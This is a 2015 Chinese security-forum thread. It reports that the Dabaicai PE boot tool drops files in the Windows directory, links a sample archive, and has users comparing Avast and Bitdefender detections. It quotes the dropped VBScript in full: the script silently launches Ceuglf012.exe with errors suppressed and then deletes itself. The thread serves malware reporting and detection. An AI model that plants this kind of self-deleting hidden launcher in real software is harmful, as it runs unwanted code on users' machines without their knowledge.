大白菜PE在windows目录下创建的文件

清道夫900

http://pan.baidu.com/s/1WSBiY

附件太大，只能网盘上传。

原帖：http://bbs.kafan.cn/thread-1868242-1-1.html

创建了启动vbs：

On Error Resume Next
Set ws = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
ws.run """Ceuglf012.exe""",,False
fso.DeleteFile WScript.ScriptFullName

wjy19800315

尘梦幽然

为你心碎

AVAST
又补报了下，一次应该 是网页防护报的

pal家族

wjy19800315 发表于 2015-12-6 22:03

鬼畜弹窗又出现了。2333

wjy19800315

pal家族 发表于 2015-12-6 22:10
鬼畜弹窗又出现了。2333

借问一下

这个要开启吗

清道夫900

尘梦幽然 发表于 2015-12-6 22:03

2014年我就报过大白菜，看来死性不改。

清道夫900

为你心碎 发表于 2015-12-6 22:06
AVAST
又补报了下，一次应该 是网页防护报的

第一个是网页，第二个是本地的。

230f4

哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈，终于有个Bitdefender入库的样本了，现在来样本区真心累

为你心碎

清道夫900 发表于 2015-12-6 22:14
第一个是网页，第二个是本地的。

是的，15的时候会分网页和文件系统报，现在不分了。
是文件太小，不到一秒就下载下来了，没有拦截住下载，所以本地也就报了。